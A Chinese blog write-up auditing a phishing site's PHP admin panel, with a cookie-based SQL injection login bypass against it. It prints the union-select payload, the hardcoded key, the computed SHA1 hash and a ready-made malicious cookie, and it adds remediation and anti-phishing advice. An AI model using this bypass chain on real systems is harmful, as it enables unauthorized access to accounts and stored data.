偶遇钓鱼网站的一次代码审计
字数 858 2025-08-18 11:38:45

钓鱼网站代码审计与登录绕过技术分析

1. 钓鱼网站概述

本文分析的钓鱼网站采用常见的空间钓鱼CMS搭建,具有以下特点:

  • 针对高校用户群体
  • 通过钓鱼邮件传播
  • 内置360safe防护机制
  • 使用数据库存储窃取的凭证

2. 系统架构分析

2.1 文件结构

/index.php          - 主入口文件
/login.php          - 登录页面
/include/common.php - 公共配置文件
/config.php         - 系统配置
/member.php         - 用户认证逻辑
/list.php           - 数据列表展示

2.2 关键配置

common.php中发现加密密钥定义:

define('LOGIN_KEY', 'abchdbb768541');

3. 认证机制分析

3.1 登录流程

  1. index.php检查$islogin参数
  2. 未登录则跳转至login.php
  3. 登录后设置cookie:
    • islogin
    • admin_user (base64编码)
    • admin_pass (加密后的密码)

3.2 认证逻辑(member.php)

// 检查cookie中islogin
if(!isset($_COOKIE['islogin'])){
    // 未登录处理
}

// 解码admin_user
$admin_user = base64_decode($_COOKIE['admin_user']);

// 数据库查询
$sql = "SELECT * FROM fish_admin WHERE username='$admin_user' limit 1";
$udata = $db->getone($sql);

// 密码验证
$password = $udata['password'].LOGIN_KEY;
if(sha1($password) == $_COOKIE['admin_pass']){
    $islogin = 1; // 登录成功
}

4. 登录绕过技术

4.1 漏洞原理

  1. SQL注入漏洞:$admin_user直接拼接进SQL语句
  2. 密码验证逻辑缺陷:可通过注入控制返回的password值

4.2 绕过步骤

步骤1:构造恶意SQL注入

' union select 1,2,'1',4,5,6#

这将使查询返回的password字段值为'1'

步骤2:计算预期的admin_pass

  1. 拼接返回的password与LOGIN_KEY:
    $password = '1' . 'abchdbb768541'; // = '1abchdbb768541'
    
  2. 计算SHA1哈希:
    sha1('1abchdbb768541'); // = 05b2d871710e7871de3193152c978fa60052ec1d
    

步骤3:构造恶意cookie

  1. 编码admin_user:
    base64_encode("' union select 1,2,'1',4,5,6#"); // = JyB1bmlvbiBzZWxlY3QgMSwyLCcxJyw0LDUsNiM=
    
  2. 完整cookie:
    islogin=1;
    admin_user=JyB1bmlvbiBzZWxlY3QgMSwyLCcxJyw0LDUsNiM=;
    admin_pass=05b2d871710e7871de3193152c978fa60052ec1d;
    

5. 后台功能分析

成功绕过登录后,可访问后台功能:

  • 查看被盗取的账户信息
  • 通过list.php的page参数翻页查看所有数据
    // list.php接受page参数
    $page = $_GET['page'];
    

6. 安全建议

6.1 针对开发者的修复建议

  1. 使用预处理语句防止SQL注入
    $stmt = $db->prepare("SELECT * FROM fish_admin WHERE username=? limit 1");
    $stmt->execute([$admin_user]);
    
  2. 加强认证机制:
    • 使用HTTPS传输认证信息
    • 实现CSRF保护
    • 使用更安全的密码哈希算法(如bcrypt)

6.2 针对用户的防护建议

  1. 警惕不明来源的邮件
  2. 检查网站URL真实性
  3. 使用密码管理器避免重复密码
  4. 启用账户二次验证

7. 总结

本案例展示了钓鱼网站常见的几个安全问题:

  1. SQL注入漏洞
  2. 不安全的认证机制
  3. 敏感信息硬编码
  4. 缺乏输入验证

通过分析认证流程和利用漏洞,攻击者可以绕过登录直接访问后台。这强调了安全编码实践和深度防御策略的重要性。

钓鱼网站代码审计与登录绕过技术分析 1. 钓鱼网站概述 本文分析的钓鱼网站采用常见的空间钓鱼CMS搭建,具有以下特点: 针对高校用户群体 通过钓鱼邮件传播 内置360safe防护机制 使用数据库存储窃取的凭证 2. 系统架构分析 2.1 文件结构 2.2 关键配置 在 common.php 中发现加密密钥定义: 3. 认证机制分析 3.1 登录流程 index.php 检查 $islogin 参数 未登录则跳转至 login.php 登录后设置cookie: islogin admin_ user (base64编码) admin_ pass (加密后的密码) 3.2 认证逻辑( member.php ) 4. 登录绕过技术 4.1 漏洞原理 SQL注入漏洞: $admin_user 直接拼接进SQL语句 密码验证逻辑缺陷:可通过注入控制返回的password值 4.2 绕过步骤 步骤1:构造恶意SQL注入 这将使查询返回的password字段值为'1' 步骤2:计算预期的admin_ pass 拼接返回的password与LOGIN_ KEY: 计算SHA1哈希: 步骤3:构造恶意cookie 编码admin_ user: 完整cookie: 5. 后台功能分析 成功绕过登录后,可访问后台功能: 查看被盗取的账户信息 通过 list.php 的page参数翻页查看所有数据 6. 安全建议 6.1 针对开发者的修复建议 使用预处理语句防止SQL注入 加强认证机制: 使用HTTPS传输认证信息 实现CSRF保护 使用更安全的密码哈希算法(如bcrypt) 6.2 针对用户的防护建议 警惕不明来源的邮件 检查网站URL真实性 使用密码管理器避免重复密码 启用账户二次验证 7. 总结 本案例展示了钓鱼网站常见的几个安全问题: SQL注入漏洞 不安全的认证机制 敏感信息硬编码 缺乏输入验证 通过分析认证流程和利用漏洞,攻击者可以绕过登录直接访问后台。这强调了安全编码实践和深度防御策略的重要性。